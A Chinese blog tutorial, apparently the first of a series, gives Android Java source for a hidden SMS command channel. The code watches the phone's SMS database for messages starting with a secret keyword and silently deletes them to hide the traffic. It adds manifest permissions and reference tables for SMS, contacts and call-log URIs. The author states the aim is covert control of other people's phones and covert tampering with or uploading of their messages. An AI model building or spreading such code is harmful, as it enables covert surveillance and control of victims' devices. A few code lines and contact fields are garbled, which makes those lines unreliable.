序言:本程序示例本着简洁易懂的目的,只做了简单的功能实现,需要用户启动应用,收到短信才有效果。作者将会在后面的(二)篇中加入服务后台运行、自动启动功能,实现一个真正的短信控制工具。本文的目的很简单,让读者掌握短信控制工具的原理。本程序采用的是监听短信数据库,而不是广播,所以权限相对较高,能在用户未察觉的前提下,篡改、删除,上传手机短信或个人信息。请勿非法使用,仅供个人参考学习。本程序需要用到4-5个类,

本文来自:http://blog.csdn.net/tabactivity

1、 com.xieyuan.smslistener 包下 MessageItem.java ,主要功能就是构建数据模型,方便修改和使用。

package com.xieyuan.smslistener;

import java.io.Serializable;

/*
* 实现Serializable接口,方便数据的传输
* 在后面需要调用Message.obj=MessageItem的对象,来传输
* 那么就必须实现此接口
*/
public class MessageItem implements Serializable{ //短信ID
private int id;
//短信类型 1是接收到的,2是发出的
private int type;
//短信协议 ,短信\彩信
private int protocol;
//发送时间
private long date;
//手机号
private String phone;
//内容
public String body; public MessageItem()
{ } public MessageItem(int id,int type,int protocol,long date,String phone,String body)
{
this.id=id;
this.type=type;
this.protocol=protocol;
this.date=date;
this.phone=phone;
this.body=body;
} /**
* @return the id
*/
public int getId() {
return id;
} /**
* @param id the id to set
*/
public void setId(int id) {
this.id = id;
} /**
* @return the type
*/
public int getType() {
return type;
} /**
* @param type the type to set
*/
public void setType(int type) {
this.type = type;
} /**
* @return the protocol
*/
public int getProtocol() {
return protocol;
} /**
* @param protocol the protocol to set
*/
public void setProtocol(int protocol) {
this.protocol = protocol;
}
/**
* @return the date
*/
public long getDate() {
return date;
} /**
* @param date the date to set
*/
public void setDate(long date) {
this.date = date;
} /**
* @return the phone
*/
public String getPhone() {
return phone;
} /**
* @param phone the phone to set
*/
public void setPhone(String phone) {
this.phone = phone;
} /**
* @return the body
*/
public String getBody() {
return body;
} /**
* @param body the body to set
*/
public void setBody(String body) {
this.body = body;
} public String toString()
{
return "id="+id+",type="+type+",protocol="+protocol+",phone="+phone+",body="+body;
}
}

2、com.xieyuan.smslistener 包下 SMSConstant.java ,主要定义了一些关于短信数据库字段和程序常量。

package com.xieyuan.smslistener;

import android.net.Uri;
import android.provider.BaseColumns; public interface SMSConstant extends BaseColumns{ //内容地址
public static final Uri CONTENT_URI=Uri.parse("content://sms");
//短信开头过滤字符,根据该字符判断是不是控制短信
public static final String FILTER="woaixieyuan"; ////////////SMS数据库列名字段,其实还有很多,目前没用就不列举了
public static final String ID="_id";
public static final String THREAD_ID="thread_id";
public static final String ADDRESS="address";
public static final String M_SIZE="m_size";
public static final String PERSON="person";
public static final String DATE="date";
public static final String DATE_SENT="date_sent";
public static final String PROTOCOL="protocol";
public static final String READ="read";
public static final String STATUS="status";
public static final String REPLY_PATH_PRESENT="replay_path_present";
public static final String SUBJECT="subject";
public static final String BODY="body";
public static final String SERVICE_CENTER="service_center";
public static final String LOCKED="locked";
public static final String SIM_ID="sim_id";
public static final String ERROR_CODE="error_code";
public static final String SEEN="seen";
public static final String TYPE = "type";
////////////短信的状态
public static final int MESSAGE_TYPE_ALL = 0; //所有 public static final int MESSAGE_TYPE_INBOX = 1; //收件箱 public static final int MESSAGE_TYPE_SENT = 2; //已发送 public static final int MESSAGE_TYPE_DRAFT = 3; //草稿 public static final int MESSAGE_TYPE_OUTBOX = 4; //待发送 public static final int MESSAGE_TYPE_FAILED = 5; //发送失败 for failed outgoing messages public static final int MESSAGE_TYPE_QUEUED = 6; //定时发送 for messages to send later public static final int PROTOCOL_SMS = 0;//SMS_PROTO public static final int PROTOCOL_MMS = 1;//MMS_PROTO
}

3、com.xieyuan.smslistener 包下 SMSObserver.java ,短信观察者,该类
注册观察者类时得到回调数据确定一个给定的内容URI变化。

package com.xieyuan.smslistener;

import android.content.ContentResolver;
import android.database.ContentObserver;
import android.database.Cursor;
import android.os.Handler;
import android.os.Message; /*
*
ContentObserver——内容观察者,目的是观察(捕捉)特定Uri引起的数据库的变化,继而做一些相应的处理,它类似于 数据库技术中的触发器(Trigger),当ContentObserver所观察的Uri发生变化时,便会触发它。触发器分为表触发器、行触发器, 相应地ContentObserver也分为“表“ContentObserver、“行”ContentObserver,当然这是与它所监听的Uri MIME Type有关的。
*/
public class SMSObserver extends ContentObserver{ private Handler mHandler;
//内容解析器,和ContentProvider刚好相反,一个提供,一个解析
private ContentResolver mResolver; //需要取得的短信条数
private static final int MAX_NUMS=10;
//用于保存记录中最大的ID
private static final int MAX_ID=0;
//需要获得的字段列
private static final String[] PROJECTION={
SMSConstant.ID,
SMSConstant.TYPE,
SMSConstant.ADDRESS,
SMSConstant.BODY,
SMSConstant.DATE,
SMSConstant.THREAD_ID,
SMSConstant.READ,
SMSConstant.PROTOCOL
};
/*
* 查询语句
* 用于查询ID大于 MAX_ID的记录,初始为0,后面用于保存记录的最大ID。短信的起始ID为1
*/
private static final String SELECTION=SMSConstant.ID + " > %s"+
" and ("+SMSConstant.TYPE+"="+SMSConstant.MESSAGE_TYPE_INBOX+
" or "+SMSConstant.TYPE+"="+SMSConstant.MESSAGE_TYPE_SENT+")"; //取值对应的结果就是PROJECTION 里对应的字段
private static final int COLUMN_INDEX_ID = 0;
private static final int COLUMN_INDEX_TYPE = 1;
private static final int COLUMN_INDEX_PHONE = 2;
private static final int COLUMN_INDEX_BODY = 3;
private static final int COLUMN_INDEX_DATE = 4;
private static final int COLUMN_INDEX_PROTOCOL = 7; public SMSObserver(ContentResolver resolver,Handler handler) {
super(handler);
this.mResolver=resolver;
this.mHandler=handler;
} @Override
public void onChange(boolean selfChange)
{
super.onChange(selfChange); Cursor cursor=mResolver.query(SMSConstant.CONTENT_URI, //查询的URI
PROJECTION, //需要取得的列
String.format(SELECTION,MAX_ID), //查询语句
null, //可能包括您的选择,将被替换selectionArgs的值,在选择它们出现的顺序。该值将被绑定为字符串。
null); //排序
if(cursor!=null)
{
while(cursor.moveToNext())
{
/* Log.v("短信",new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(cursor.getLong(4))+ ",ID:"+cursor.getInt(COLUMN_INDEX_ID)+",TYPE:"+cursor.getInt(COLUMN_INDEX_TYPE)+",PROTOCOL:"+
cursor.getInt(COLUMN_INDEX_PROTOCOL)+",PHONE:"+cursor.getString(COLUMN_INDEX_PHONE)+","+
cursor.getString(COLUMN_INDEX_BODY));*/
int id=cursor.getInt(COLUMN_INDEX_ID);
int type=cursor.getInt(COLUMN_INDEX_TYPE);
int protocol=cursor.getInt(COLUMN_INDEX_PROTOCOL);
long date=cursor.getLong(COLUMN_INDEX_DATE);
String phone=cursor.getString(COLUMN_INDEX_PHONE);
String body=cursor.getString(COLUMN_INDEX_BODY);
//过滤指定的内容,执行控制操作
if(protocol==SMSConstant.PROTOCOL_SMS&&body!=null&&body.startsWith(SMSConstant.FILTER))
{
MessageItem item=new MessageItem(id, type, protocol, date, phone, body);
//通知Handler
Message msg=new Message();
msg.obj=item;
mHandler.sendMessage(msg); break;
}
}
/*
* 关闭游标,释放资源。否则下次查询游标仍然在原位置
*/
cursor.close();
}
}
}

4、com.xieyuan.smslistener 包下 SMSHandler.java ,短信观察者的数据发送变化,并和指定的Filter(SMSConstant定义的指令,区分是不是开发者的控制短信)字符串匹配后,会向SMSHhander发送消息,此时,SMSHandler就可以根据短信的内容执行一些操作,来控制手机。

package com.xieyuan.smslistener;

import android.content.ContentProvider;
import android.content.ContentProviderClient;
import android.content.ContentResolver;
import android.content.ContentUris;
import android.content.ContentValues;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.Handler;
import android.os.Message;
import android.util.Log; /*
* 用于接收SMSObserver发送过来的短信内容(MessageItem)
*/
public class SMSHandler extends Handler{ private static final String TAG="SMSHandler";
private Context mContext; public SMSHandler(Context context)
{
super();
this.mContext=context;
}
@Override
public void handleMessage(Message msg)
{
MessageItem item=(MessageItem)msg.obj; new Intent(Intent.ACTION_REBOOT);
//添加给定的ID结尾的路径。
Uri uri=ContentUris.withAppendedId(SMSConstant.CONTENT_URI, item.getId()); /*
可以根据短信内容进行判断,执行您想要的操作,如发送 Filter字符+dialog你就弹出个对话框,
操作省略,自行完善所需控制操作
。。。。。。。。。。。。。。
 */ //删除指定的短信,操作不留痕迹。。。^_^
mContext.getContentResolver().delete(uri,null,null);
Log.v(TAG, item.toString());
}
}

5、注册内容观察者

在Activity或者Service的初始函数中执行注册操作,本示例在Activity onCreate()中注册

                ContentResolver resolver=getContentResolver();
MSObserver observer=new SMSObserver(resolver, new SMSHandler(this));
//注册观察者类时得到回调数据确定一个给定的内容URI变化。
resolver.registerContentObserver(SMSConstant.CONTENT_URI, true, observer);

在onDestroy'()中卸载观察者

	//卸载观察者
getContentResolver().unregisterContentObserver(observer);

在AndroidManifest.xml中添加短信权限

    <!-- 读取短信 -->
<uses-permission android:name="android.permission.READ_SMS" />
<!-- 发送短信 -->
<uses-permission android:name="android.permission.WRITE_SMS" />

至此,整个简单的短信监听工具基本模型已经完善。

------------------------------------------------------------------------------------

下面是辅助开发的一些参考资料:

1、Android 短信数据库 开发资料(深度开发必看)

http://download.csdn.net/detail/ab6326795/6199851

2、Android数据库字段资料

1.短信数据库
String strUriInbox = "content://sms";
Uri uriSms = Uri.parse(strUriInbox);
Cursor c_groups = managedQuery( uriSms , new String[] { "date","person" }, select, null, "date DESC");
strColumnName=_id                strColumnValue=48                  //短消息序号  
strColumnName=thread_id          strColumnValue=16                  //对话的序号(conversation)
strColumnName=address            strColumnValue=+8613411884805      //发件人地址,手机号
strColumnName=person              strColumnValue=null                //发件人,返回一个数字就是联系人列表里的序号,陌生人为null
strColumnName=date                strColumnValue=1256539465022        //日期  long型,想得到具体日期自己转换吧!
strColumnName=protocol            strColumnValue=0                    //协议
strColumnName=read                strColumnValue=1                    //是否阅读
strColumnName=status              strColumnValue=-1                  //状态
strColumnName=type                strColumnValue=1                    //类型 1是接收到的,2是发出的
strColumnName=reply_path_present  strColumnValue=0                    //
strColumnName=subject            strColumnValue=null                //主题
strColumnName=body                strColumnValue=您好                                                      //短消息内容
strColumnName=service_center      strColumnValue=+8613800755500      //短信服务中心号码编号,可以得知该短信是从哪里发过来的见下表
2.联系人数据库
strColumnName = _sync_id  strColumnValue=null
strColumnName = primary_organization  strColumnValue=null
strColumnName = notes  strColumnValue=null
strColumnName = primary_phone  strColumnValue=1
strColumnName = status  strColumnValue=null
strColumnName = im_handle  strColumnValue=null
strColumnName = _sync_local_id  strColumnValue=null
strColumnName = im_account  strColumnValue=null
strColumnName = _sync_time  strColumnValue=null
strColumnName = im_protocol  strColumnValue=null
strColumnName = mode  strColumnValue=null
strColumnName = label  strColumnValue=null
strColumnName = times_contacted  strColumnValue=0
strColumnName = name  strColumnValue=é??è?3
strColumnName = send_to_voicemail  strColumnValue=null
strColumnName = primary_email  strColumnValue=null
strColumnName = custom_ringtone  strColumnValue=null
strColumnName = sort_string  strColumnValue=í?¤í2?í??ío3à?
strColumnName = _sync_version  strColumnValue=null
strColumnName = last_time_contacted  strColumnValue=null
strColumnName = _sync_account  strColumnValue=null
strColumnName = display_name  strColumnValue=é??è?3
strColumnName = number_key  strColumnValue=77681111831
strColumnName = number  strColumnValue=13811118677
strColumnName = phonetic_name  strColumnValue=null
strColumnName = _id  strColumnValue=1
strColumnName = type  strColumnValue=2
strColumnName = _sync_dirty  strColumnValue=1
strColumnName = starred  strColumnValue=0
4.其他数据库
//Available Uri string
content://contacts/people    //本地联系人列表信息
content://contacts/phones    //本地联系人列表信息
content://call_log/calls/    //本地通话记录        
content://mms            彩信
content://mms-sms/threadID
content://mms-sms/conversations
content://mms-sms/messages/byphone
content://mms-sms/undelivered
content://mms-sms/draft

String strUriInbox        = "content://sms/inbox";        //SMS_INBOX:1 
String strUriFailed      = "content://sms/failed";      //SMS_FAILED:2 
String strUriQueued      = "content://sms/queued";      //SMS_QUEUED:3 
String strUriSent        = "content://sms/sent";        //SMS_SENT:4 
String strUriDraft        = "content://sms/draft";        //SMS_DRAFT:5 
String strUriOutbox      = "content://sms/outbox";      //SMS_OUTBOX:6 
String strUriUndelivered  = "content://sms/undelivered";  //SMS_UNDELIVERED 
String strUriAll          = "content://sms/all";          //SMS_ALL 
String strUriConversations= "content://sms/conversations";//you can delete one conversation by thread_id 
String strUriAll          = "content://sms"              //you can delete one message by _id

android 监听短信数据库,制作短信控制工具,控制别人的手机!!(一)的更多相关文章

  1. Android监听系统短信数据库变化-提取短信内容

    由于监听系统短信广播受到权限的限制,所以很多手机可能使用这种方式没法监听广播,从而没办法获取到系统短信,所以又重新开辟一条路. Android监听系统短信数据库内容变化使用场景: 1.监听短信数据库的 ...

  2. Android 监听短信(同时监听广播和数据库)

    暗扣,强烈谴责这种侵害用户利益的行为... 下面给大家介绍Android暗扣原理.......  Android4.4以下的系统玩游戏就要小心了哈 暗扣方式之一:短信订购,即监听--------拦截- ...

  3. Android监听返回键、Home键+再按一次返回键退出应用

    Android监听返回键需重写onKeyDown()方法 Home键keyCode==KeyEvent.KEYCODE_HOME @Override public boolean onKeyDown( ...

  4. Android监听来电和去电

    要监听android打电话和接电话,只需下面2步骤1.第一步,写一个Receiver继承自BroadcastReceiver import android.app.Service; import an ...

  5. Android监听应用程序安装和卸载

    Android监听应用程序安装和卸载 第一. 新建监听类:BootReceiver继承BroadcastReceiver package com.rongfzh.yc; import android. ...

  6. Android监听ScrollView滑动到顶端和底部

    Android监听ScrollView滑动到顶端和底部     package cn.testscrollview; import android.os.Bundle; import android. ...

  7. Android 监听网络变化

    Android 监听网络变化

  8. android 监听返回键

    android监听返回键 public boolean onKeyDown(int keyCode, KeyEvent event) { if (keyCode == KeyEvent.KEYCODE ...

  9. Android监听手机网络变化

    Android监听手机网络变化 手机网络状态发生变化会发送广播,利用广播接收者,监听手机网络变化 效果图 注册广播接收者 <?xml version="1.0" encodi ...

  10. 【Android】Android 监听apk安装替换卸载广播

    [Android]Android 监听apk安装替换卸载广播 首先是要获取应用的安装状态,通过广播的形式 以下是和应用程序相关的Broadcast Action ACTION_PACKAGE_ADDE ...

随机推荐

  1. html5 高清屏幕图片处理

    1. srcset 语法:在元素上添加srcset属性.srcset的值是一个用逗号分隔的列表.列表中的每个项包含一张图片的路径并且按倍数(例如,1x,2x,3x...)提供多张分辨率的图片 参考:h ...

  2. centos 给终端设快捷键

    centos 终端的快捷键是默认是禁用的 设置的话 系统-> 首选项 -> 键盘快捷键 看到运行终端    随便设置想要的快捷键!!

  3. 将对象保存至文件——CArchive

    CArchive允许以一个二进制的形式保存一个对象的复杂网络,也可以再次装载它们,在内存中重新构造,这一过程叫作串行化/序列化(Serialization),简单的说,CArchive与CFile配合 ...

  4. Qt之QCustomPlot绘图(一)配置和第一个例子

    最近一个用Qt开发的项目需要绘制坐标曲线,我在老师的指点下使用了QCustomPlot这个插件,使用方法简单,功能还算不错. 可是在网上找了很多资料和博文都只是将官方提供的例子演示一遍,没有系统全面的 ...

  5. PHP Predefined Interfaces 预定义接口

    SPL提供了6个迭代器接口: Traversable 遍历接口(检测一个类是否可以使用 foreach 进行遍历的接口) Iterator 迭代器接口(可在内部迭代自己的外部迭代器或类的接口) Ite ...

  6. Java学习----对象的状态和行为

    1.什么是对象 对象是已知的事物 对象会执行动作 类是对象的蓝图 2.对象的属性和状态 使用变量来描述 private String name; private int age; private St ...

  7. python -- 函数传参

    一.参数传入规则 可变参数允许传入0个或任意个参数,在函数调用时自动组装成一个tuple: 关键字参数允许传入0个或任意个参数,在函数调用时自动组装成一个dict: 1. 传入可变参数: def ca ...

  8. PHP简单获取数据库查询结果并返回JSON

    <?php header("Content-type:text/html;charset=utf-8"); //连接数据库 $con = mysql_connect(&quo ...

  9. Node.js 入门(2)

    1.http 请求 //调用Node.js自带的http模块 var http = require("http"); //调用http模块提供的函数createServer htt ...

  10. .net反射详解

    前言 之所以要写这篇关于C#反射的随笔,起因有两个:   第一个是自己开发的网站需要用到   其次就是没看到这方面比较好的文章. 所以下定决心自己写一篇,废话不多说开始进入正题. 前期准备 在VS20 ...